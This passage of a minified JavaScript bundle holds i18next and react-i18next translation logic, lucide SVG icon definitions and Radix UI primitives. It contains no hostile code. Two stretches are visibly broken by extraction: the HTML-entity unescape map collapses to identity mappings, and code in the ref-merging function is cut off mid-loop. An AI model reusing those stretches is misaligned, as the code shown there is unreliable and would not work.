this.translator?.exists(...t)}setDefaultNamespace(t){this.options.defaultNS=t}hasLoadedNamespace(t,n={}){if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;const r=n.lng||this.resolvedLanguage||this.languages[0],i=this.options?this.options.fallbackLng:!1,l=this.languages[this.languages.length-1];if(r.toLowerCase()==="cimode")return!0;const c=(u,f)=>{const h=this.services.backendConnector.state[`${u}|${f}`];return h===-1||h===0||h===2};if(n.precheck){const u=n.precheck(this,c);if(u!==void 0)return u}return!!(this.hasResourceBundle(r,t)||!this.services.backendConnector.backend||this.options.resources&&!this.options.partialBundledLanguages||c(r,t)&&(!i||c(l,t)))}loadNamespaces(t,n){const r=nc();return this.options.ns?(Te(t)&&(t=[t]),t.forEach(i=>{this.options.ns.indexOf(i)<0&&this.options.ns.push(i)}),this.loadResources(i=>{r.resolve(),n&&n(i)}),r):(n&&n(),Promise.resolve())}loadLanguages(t,n){const r=nc();Te(t)&&(t=[t]);const i=this.options.preload||[],l=t.filter(c=>i.indexOf(c)<0&&this.services.languageUtils.isSupportedCode(c));return l.length?(this.options.preload=i.concat(l),this.loadResources(c=>{r.resolve(),n&&n(c)}),r):(n&&n(),Promise.resolve())}dir(t){if(t||(t=this.resolvedLanguage||(this.languages?.length>0?this.languages[0]:this.language)),!t)return"rtl";try{const i=new Intl.Locale(t);if(i&&i.getTextInfo){const l=i.getTextInfo();if(l&&l.direction)return l.direction}}catch{}const n=["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam","ckb"],r=this.services?.languageUtils||new AA(jA());return t.toLowerCase().indexOf("-latn")>1?"ltr":n.indexOf(r.getLanguagePartFromCode(t))>-1||t.toLowerCase().indexOf("-arab")>1?"rtl":"ltr"}static createInstance(t={},n){const r=new yc(t,n);return r.createInstance=yc.createInstance,r}cloneInstance(t={},n=Lf){const r=t.forkResourceStore;r&&delete t.forkResourceStore;const i={...this.options,...t,isClone:!0},l=new yc(i);if((t.debug!==void 0||t.prefix!==void 0)&&(l.logger=l.logger.clone(t)),["store","services","language"].forEach(u=>{l[u]=this[u]}),l.services={...this.services},l.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},r){const u=Object.keys(this.store.data).reduce((f,h)=>(f[h]={...this.store.data[h]},f[h]=Object.keys(f[h]).reduce((p,m)=>(p[m]={...f[h][m]},p),f[h]),f),{});l.store=new OA(u,i),l.services.resourceStore=l.store}return t.interpolation&&(l.services.interpolator=new NA(i)),l.translator=new bd(l.services,i),l.translator.on("*",(u,...f)=>{l.emit(u,...f)}),l.init(i,n),l.translator.options=i,l.translator.backendConnector.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},l}toJSON(){return{options:this.options,store:this.store,language:this.language,languages:this.languages,resolvedLanguage:this.resolvedLanguage}}}const hn=yc.createInstance();hn.createInstance;hn.dir;hn.init;hn.loadResources;hn.reloadResources;hn.use;hn.changeLanguage;hn.getFixedT;hn.t;hn.exists;hn.setDefaultNamespace;hn.hasLoadedNamespace;hn.loadNamespaces;hn.loadLanguages;const t6=(e,t,n,r)=>{const i=[n,{code:t,...r||{}}];if(e?.services?.logger?.forward)return e.services.logger.forward(i,"warn","react-i18next::",!0);ao(i[0])&&(i[0]=`react-i18next:: ${i[0]}`),e?.services?.logger?.warn?e.services.logger.warn(...i):console?.warn&&console.warn(...i)},RA={},dM=(e,t,n,r)=>{ao(n)&&RA[n]||(ao(n)&&(RA[n]=new Date),t6(e,t,n,r))},hM=(e,t)=>()=>{if(e.isInitialized)t();else{const n=()=>{setTimeout(()=>{e.off("initialized",n)},0),t()};e.on("initialized",n)}},o0=(e,t,n)=>{e.loadNamespaces(t,hM(e,n))},DA=(e,t,n,r)=>{if(ao(n)&&(n=[n]),e.options.preload&&e.options.preload.indexOf(t)>-1)return o0(e,n,r);n.forEach(i=>{e.options.ns.indexOf(i)<0&&e.options.ns.push(i)}),e.loadLanguages(t,hM(e,r))},n6=(e,t,n={})=>!t.languages||!t.languages.length?(dM(t,"NO_LANGUAGES","i18n.languages were undefined or empty",{languages:t.languages}),!0):t.hasLoadedNamespace(e,{lng:n.lng,precheck:(r,i)=>{if(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&r.services.backendConnector.backend&&r.isLanguageChangingTo&&!i(r.isLanguageChangingTo,e))return!1}}),ao=e=>typeof e=="string",r6=e=>typeof e=="object"&&e!==null,a6=/&(?:amp|#38|lt|#60|gt|#62|apos|#39|quot|#34|nbsp|#160|copy|#169|reg|#174|hellip|#8230|#x2F|#47);/g,i6={"&":"&","&":"&","<":"<","<":"<",">":">",">":">","'":"'","'":"'",""":'"',""":'"'," ":" "," ":" ","©":"©","©":"©","®":"®","®":"®","…":"…","…":"…","/":"/","/":"/"},o6=e=>i6[e],l6=e=>e.replace(a6,o6);let l0={bindI18n:"languageChanged",bindI18nStore:"",transEmptyNodeValue:"",transSupportBasicHtmlNodes:!0,transWrapTextNodes:"",transKeepBasicHtmlNodesFor:["br","strong","i","p"],useSuspense:!0,unescape:l6,transDefaultProps:void 0};const s6=(e={})=>{l0={...l0,...e}},c6=()=>l0;let pM;const u6=e=>{pM=e},f6=()=>pM,d6={type:"3rdParty",init(e){s6(e.options.react),u6(e)}},h6=v.createContext();class p6{constructor(){this.usedNamespaces={}}addUsedNamespaces(t){t.forEach(n=>{this.usedNamespaces[n]||(this.usedNamespaces[n]=!0)})}getUsedNamespaces(){return Object.keys(this.usedNamespaces)}}var pg={exports:{}},mg={};var kA;function m6(){if(kA)return mg;kA=1;var e=Ul();function t(m,y){return m===y&&(m!==0||1/m===1/y)||m!==m&&y!==y}var n=typeof Object.is=="function"?Object.is:t,r=e.useState,i=e.useEffect,l=e.useLayoutEffect,c=e.useDebugValue;function u(m,y){var x=y(),S=r({inst:{value:x,getSnapshot:y}}),w=S[0].inst,O=S[1];return l(function(){w.value=x,w.getSnapshot=y,f(w)&&O({inst:w})},[m,x,y]),i(function(){return f(w)&&O({inst:w}),m(function(){f(w)&&O({inst:w})})},[m]),c(x),x}function f(m){var y=m.getSnapshot;m=m.value;try{var x=y();return!n(m,x)}catch{return!0}}function h(m,y){return y()}var p=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?h:u;return mg.useSyncExternalStore=e.useSyncExternalStore!==void 0?e.useSyncExternalStore:p,mg}var LA;function mM(){return LA||(LA=1,pg.exports=m6()),pg.exports}var v6=mM();const g6=(e,t)=>ao(t)?t:r6(t)&&ao(t.defaultValue)?t.defaultValue:Array.isArray(e)?e[e.length-1]:e,y6={t:g6,ready:!1},b6=()=>()=>{},xo=(e,t={})=>{const{i18n:n}=t,{i18n:r,defaultNS:i}=v.useContext(h6)||{},l=n||r||f6();l&&!l.reportNamespaces&&(l.reportNamespaces=new p6),l||dM(l,"NO_I18NEXT_INSTANCE","useTranslation: You will need to pass in an i18next instance by using initReactI18next");const c=v.useMemo(()=>({...c6(),...l?.options?.react,...t}),[l,t]),{useSuspense:u,keyPrefix:f}=c,h=i||l?.options?.defaultNS,p=ao(h)?[h]:h||["translation"],m=v.useMemo(()=>p,p);l?.reportNamespaces?.addUsedNamespaces?.(m);const y=v.useRef(0),x=v.useCallback(B=>{if(!l)return b6;const{bindI18n:q,bindI18nStore:U}=c,V=()=>{y.current+=1,B()};return q&&l.on(q,V),U&&l.store.on(U,V),()=>{q&&q.split(" ").forEach(oe=>l.off(oe,V)),U&&U.split(" ").forEach(oe=>l.store.off(oe,V))}},[l,c]),S=v.useRef(),w=v.useCallback(()=>{if(!l)return y6;const B=!!(l.isInitialized||l.initializedStoreOnce)&&m.every(ce=>n6(ce,l,c)),q=t.lng||l.language,U=y.current,V=S.current;if(V&&V.ready===B&&V.lng===q&&V.keyPrefix===f&&V.revision===U)return V;const le={t:l.getFixedT(q,c.nsMode==="fallback"?m:m[0],f),ready:B,lng:q,keyPrefix:f,revision:U};return S.current=le,le},[l,m,f,c,t.lng]),[O,A]=v.useState(0),{t:_,ready:T}=v6.useSyncExternalStore(x,w,w);v.useEffect(()=>{if(l&&!T&&!u){const B=()=>A(q=>q+1);t.lng?DA(l,t.lng,m,B):o0(l,m,B)}},[l,t.lng,m,T,u,O]);const j=l||{},M=v.useRef(null),P=v.useRef(),R=B=>{const q=Object.getOwnPropertyDescriptors(B);q.__original&&delete q.__original;const U=Object.create(Object.getPrototypeOf(B),q);if(!Object.prototype.hasOwnProperty.call(U,"__original"))try{Object.defineProperty(U,"__original",{value:B,writable:!1,enumerable:!1,configurable:!1})}catch{}return U},I=v.useMemo(()=>{const B=j,q=B?.language;let U=B;B&&(M.current&&M.current.__original===B?P.current!==q?(U=R(B),M.current=U,P.current=q):U=M.current:(U=R(B),M.current=U,P.current=q));const V=[_,U,T];return V.t=_,V.i18n=U,V.ready=T,V},[_,j,T,j.resolvedLanguage,j.language,j.languages]);if(l&&u&&!T)throw new Promise(B=>{const q=()=>B();t.lng?DA(l,t.lng,m,q):o0(l,m,q)});return I};const x6=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),w6=e=>e.replace(/^([A-Z])|[\s-_]+(\w)/g,(t,n,r)=>r?r.toUpperCase():n.toLowerCase()),IA=e=>{const t=w6(e);return t.charAt(0).toUpperCase()+t.slice(1)},vM=(...e)=>e.filter((t,n,r)=>!!t&&t.trim()!==""&&r.indexOf(t)===n).join(" ").trim(),S6=e=>{for(const t in e)if(t.startsWith("aria-")||t==="role"||t==="title")return!0};var O6={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};const E6=v.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:i="",children:l,iconNode:c,...u},f)=>v.createElement("svg",{ref:f,...O6,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:vM("lucide",i),...!l&&!S6(u)&&{"aria-hidden":"true"},...u},[...c.map(([h,p])=>v.createElement(h,p)),...Array.isArray(l)?l:[l]]));const Me=(e,t)=>{const n=v.forwardRef(({className:r,...i},l)=>v.createElement(E6,{ref:l,iconNode:t,className:vM(`lucide-${x6(IA(e))}`,`lucide-${e}`,r),...i}));return n.displayName=IA(e),n};const A6=[["path",{d:"M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2",key:"169zse"}]],xd=Me("activity",A6);const C6=[["path",{d:"M4.929 4.929 19.07 19.071",key:"196cmz"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],zA=Me("ban",C6);const _6=[["path",{d:"M3 3v16a2 2 0 0 0 2 2h16",key:"c24i48"}],["path",{d:"M18 17V9",key:"2bz60n"}],["path",{d:"M13 17V5",key:"1frdt8"}],["path",{d:"M8 17v-3",key:"17ska0"}]],s0=Me("chart-column",_6);const T6=[["path",{d:"M20 6 9 17l-5-5",key:"1gmf2c"}]],gM=Me("check",T6);const N6=[["path",{d:"m6 9 6 6 6-6",key:"qrunsl"}]],Ch=Me("chevron-down",N6);const M6=[["path",{d:"m9 18 6-6-6-6",key:"mthhwq"}]],j6=Me("chevron-right",M6);const P6=[["path",{d:"m18 15-6-6-6 6",key:"153udz"}]],R6=Me("chevron-up",P6);const D6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]],yM=Me("circle-check",D6);const k6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}]],bM=Me("circle-dot",k6);const L6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m15 9-6 6",key:"1uzhvr"}],["path",{d:"m9 9 6 6",key:"z0biqf"}]],xM=Me("circle-x",L6);const I6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],z6=Me("circle",I6);const $6=[["path",{d:"M12 6v6l4 2",key:"mmk7yg"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],wM=Me("clock",$6);const B6=[["path",{d:"M11 10.27 7 3.34",key:"16pf9h"}],["path",{d:"m11 13.73-4 6.93",key:"794ttg"}],["path",{d:"M12 22v-2",key:"1osdcq"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M14 12h8",key:"4f43i9"}],["path",{d:"m17 20.66-1-1.73",key:"eq3orb"}],["path",{d:"m17 3.34-1 1.73",key:"2wel8s"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"m20.66 17-1.73-1",key:"sg0v6f"}],["path",{d:"m20.66 7-1.73 1",key:"1ow05n"}],["path",{d:"m3.34 17 1.73-1",key:"nuk764"}],["path",{d:"m3.34 7 1.73 1",key:"1ulond"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["circle",{cx:"12",cy:"12",r:"8",key:"46899m"}]],SM=Me("cog",B6);const U6=[["path",{d:"M12 15V3",key:"m9g1x1"}],["path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4",key:"ih7n3h"}],["path",{d:"m7 10 5 5 5-5",key:"brsn70"}]],H6=Me("download",U6);const q6=[["path",{d:"M21.54 15H17a2 2 0 0 0-2 2v4.54",key:"1djwo0"}],["path",{d:"M7 3.34V5a3 3 0 0 0 3 3a2 2 0 0 1 2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2c0-1.1.9-2 2-2h3.17",key:"1tzkfa"}],["path",{d:"M11 21.95V18a2 2 0 0 0-2-2a2 2 0 0 1-2-2v-1a2 2 0 0 0-2-2H2.05",key:"14pb5j"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],F6=Me("earth",q6);const V6=[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]],K6=Me("external-link",V6);const Y6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M10 12a1 1 0 0 0-1 1v1a1 1 0 0 1-1 1 1 1 0 0 1 1 1v1a1 1 0 0 0 1 1",key:"1oajmo"}],["path",{d:"M14 18a1 1 0 0 0 1-1v-1a1 1 0 0 1 1-1 1 1 0 0 1-1-1v-1a1 1 0 0 0-1-1",key:"mpwhp6"}]],G6=Me("file-braces",Y6);const W6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M8 13h2",key:"yr2amv"}],["path",{d:"M14 13h2",key:"un5t4a"}],["path",{d:"M8 17h2",key:"2yhykz"}],["path",{d:"M14 17h2",key:"10kma7"}]],X6=Me("file-spreadsheet",W6);const Z6=[["path",{d:"M10 20a1 1 0 0 0 .553.895l2 1A1 1 0 0 0 14 21v-7a2 2 0 0 1 .517-1.341L21.74 4.67A1 1 0 0 0 21 3H3a1 1 0 0 0-.742 1.67l7.225 7.989A2 2 0 0 1 10 14z",key:"sc7q7i"}]],Q6=Me("funnel",Z6);const J6=[["path",{d:"M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4",key:"tonef"}],["path",{d:"M9 18c-4.51 2-5-2-7-2",key:"9comsn"}]],eB=Me("github",J6);const tB=[["line",{x1:"4",x2:"20",y1:"9",y2:"9",key:"4lhtct"}],["line",{x1:"4",x2:"20",y1:"15",y2:"15",key:"vyu0kd"}],["line",{x1:"10",x2:"8",y1:"3",y2:"21",key:"1ggp8o"}],["line",{x1:"16",x2:"14",y1:"3",y2:"21",key:"weycgp"}]],nB=Me("hash",tB);const rB=[["polyline",{points:"22 12 16 12 14 15 10 15 8 12 2 12",key:"o97t9d"}],["path",{d:"M5.45 5.11 2 12v6a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-6l-3.45-6.89A2 2 0 0 0 16.76 4H7.24a2 2 0 0 0-1.79 1.11z",key:"oot6mr"}]],OM=Me("inbox",rB);const aB=[["path",{d:"m5 8 6 6",key:"1wu5hv"}],["path",{d:"m4 14 6-6 2-3",key:"1k1g8d"}],["path",{d:"M2 5h12",key:"or177f"}],["path",{d:"M7 2h1",key:"1t2jsx"}],["path",{d:"m22 22-5-10-5 10",key:"don7ne"}],["path",{d:"M14 18h6",key:"1m8k6r"}]],iB=Me("languages",aB);const oB=[["path",{d:"M3 5h.01",key:"18ugdj"}],["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 19h.01",key:"noohij"}],["path",{d:"M8 5h13",key:"1pao27"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 19h13",key:"m83p4d"}]],lB=Me("list",oB);const sB=[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]],c0=Me("loader-circle",sB);const cB=[["rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2",key:"1w4ew1"}],["path",{d:"M7 11V7a5 5 0 0 1 10 0v4",key:"fwvmzm"}]],$A=Me("lock",cB);const uB=[["path",{d:"M20.985 12.486a9 9 0 1 1-9.473-9.472c.405-.022.617.46.402.803a6 6 0 0 0 8.268 8.268c.344-.215.825-.004.803.401",key:"kfwtm"}]],fB=Me("moon",uB);const dB=[["rect",{x:"16",y:"16",width:"6",height:"6",rx:"1",key:"4q2zg0"}],["rect",{x:"2",y:"16",width:"6",height:"6",rx:"1",key:"8cvhb9"}],["rect",{x:"9",y:"2",width:"6",height:"6",rx:"1",key:"1egb70"}],["path",{d:"M5 16v-3a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v3",key:"1jsf9p"}],["path",{d:"M12 12V8",key:"2874zd"}]],_b=Me("network",dB);const hB=[["path",{d:"M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z",key:"10ikf1"}]],pB=Me("play",hB);const mB=[["path",{d:"M19.07 4.93A10 10 0 0 0 6.99 3.34",key:"z3du51"}],["path",{d:"M4 6h.01",key:"oypzma"}],["path",{d:"M2.29 9.62A10 10 0 1 0 21.31 8.35",key:"qzzz0"}],["path",{d:"M16.24 7.76A6 6 0 1 0 8.23 16.67",key:"1yjesh"}],["path",{d:"M12 18h.01",key:"mhygvu"}],["path",{d:"M17.99 11.66A6 6 0 0 1 15.77 16.67",key:"1u2y91"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["path",{d:"m13.41 10.59 5.66-5.66",key:"mhq4k0"}]],vB=Me("radar",mB);const gB=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],yB=Me("refresh-cw",gB);const bB=[["rect",{width:"20",height:"8",x:"2",y:"2",rx:"2",ry:"2",key:"ngkwjq"}],["rect",{width:"20",height:"8",x:"2",y:"14",rx:"2",ry:"2",key:"iecqi9"}],["line",{x1:"6",x2:"6.01",y1:"6",y2:"6",key:"16zg32"}],["line",{x1:"6",x2:"6.01",y1:"18",y2:"18",key:"nzw8ys"}]],Tb=Me("server",bB);const xB=[["path",{d:"M14 17H5",key:"gfn3mx"}],["path",{d:"M19 7h-9",key:"6i9tg"}],["circle",{cx:"17",cy:"17",r:"3",key:"18b49y"}],["circle",{cx:"7",cy:"7",r:"3",key:"dfmy0x"}]],wB=Me("settings-2",xB);const SB=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}]],OB=Me("shield",SB);const EB=[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]],AB=Me("square",EB);const CB=[["circle",{cx:"12",cy:"12",r:"4",key:"4exip2"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M12 20v2",key:"1lh1kg"}],["path",{d:"m4.93 4.93 1.41 1.41",key:"149t6j"}],["path",{d:"m17.66 17.66 1.41 1.41",key:"ptbguv"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"M20 12h2",key:"1q8mjw"}],["path",{d:"m6.34 17.66-1.41 1.41",key:"1m8zz5"}],["path",{d:"m19.07 4.93-1.41 1.41",key:"1shlcs"}]],_B=Me("sun",CB);const TB=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"6",key:"1vlfrh"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}]],BA=Me("target",TB);const NB=[["path",{d:"M12 19h8",key:"baeox8"}],["path",{d:"m4 17 6-6-6-6",key:"1yngyt"}]],UA=Me("terminal",NB);const MB=[["path",{d:"M10 11v6",key:"nco0om"}],["path",{d:"M14 11v6",key:"outv1u"}],["path",{d:"M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6",key:"miytrc"}],["path",{d:"M3 6h18",key:"d0wm0j"}],["path",{d:"M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2",key:"e791ji"}]],jB=Me("trash-2",MB);const PB=[["path",{d:"m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3",key:"wmoenq"}],["path",{d:"M12 9v4",key:"juzpu7"}],["path",{d:"M12 17h.01",key:"p32p05"}]],Nb=Me("triangle-alert",PB);const RB=[["path",{d:"M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2",key:"975kel"}],["circle",{cx:"12",cy:"7",r:"4",key:"17ys0d"}]],DB=Me("user",RB);const kB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"M2 8.82a15 15 0 0 1 4.177-2.643",key:"1grhjp"}],["path",{d:"M22 8.82a15 15 0 0 0-11.288-3.764",key:"z3jwby"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]],LB=Me("wifi-off",kB);const IB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M2 8.82a15 15 0 0 1 20 0",key:"dnpr2z"}],["path",{d:"M5 12.859a10 10 0 0 1 14 0",key:"1x1e6c"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}]],EM=Me("wifi",IB);const zB=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],$B=Me("zap",zB);function ue(e,t,{checkForDefaultPrevented:n=!0}={}){return function(i){if(e?.(i),n===!1||!i.defaultPrevented)return t?.(i)}}function HA(e,t){if(typeof e=="function")return e(t);e!=null&&(e.current=t)}function ja(...e){return t=>{let n=!1;const r=e.map(i=>{const l=HA(i,t);return!n&&typeof l=="function"&&(n=!0),l});if(n)return()=>{for(let i=0;i{const{children:c,...u}=l,f=v.useMemo(()=>u,Object.values(u));return E.jsx(n.Provider,{value:f,children:c})};r.displayName=e+"Provider";function i(l){const c=v.useContext(n);if(c)return c;if(t!==void 0)return t;throw new Error(`\`${l}\` must be used within \`${e}\``)}return[r,i]}function Fn(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c),f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,UB(i,...t)]}function UB(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wo=sM();const HB=Vr(wo);function qB(e){const t=FB(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(KB);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function FB(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=GB(i),u=YB(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var VB=Symbol("radix.slottable");function KB(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===VB}function YB(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function GB(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var WB=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],Ce=WB.reduce((e,t)=>{const n=qB(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{});function AM(e,t){e&&wo.flushSync(()=>e.dispatchEvent(t))}function en(e){const t=v.useRef(e);return v.useEffect(()=>{t.current=e}),v.useMemo(()=>(...n)=>t.current?.(...n),[])}function XB(e,t=globalThis?.document){const n=en(e);v.useEffect(()=>{const r=i=>{i.key==="Escape"&&n(i)};return t.addEventListener("keydown",r,{capture:!0}),()=>t.removeEventListener("keydown",r,{capture:!0})},[n,t])}var ZB="DismissableLayer",u0="dismissableLayer.update",QB="dismissableLayer.pointerDownOutside",JB="dismissableLayer.focusOutside",qA,CM=v.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Hc=v.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:i,onFocusOutside:l,onInteractOutside:c,onDismiss:u,...f}=e,h=v.useContext(CM),[p,m]=v.useState(null),y=p?.ownerDocument??globalThis?.document,[,x]=v.useState({}),S=De(t,R=>m(R)),w=Array.from(h.layers),[O]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),A=w.indexOf(O),_=p?w.indexOf(p):-1,T=h.layersWithOutsidePointerEventsDisabled.size>0,j=_>=A,M=n8(R=>{const I=R.target,B=[...h.branches].some(q=>q.contains(I));!j||B||(i?.(R),c?.(R),R.defaultPrevented||u?.())},y),P=r8(R=>{const I=R.target;[...h.branches].some(q=>q.contains(I))||(l?.(R),c?.(R),R.defaultPrevented||u?.())},y);return 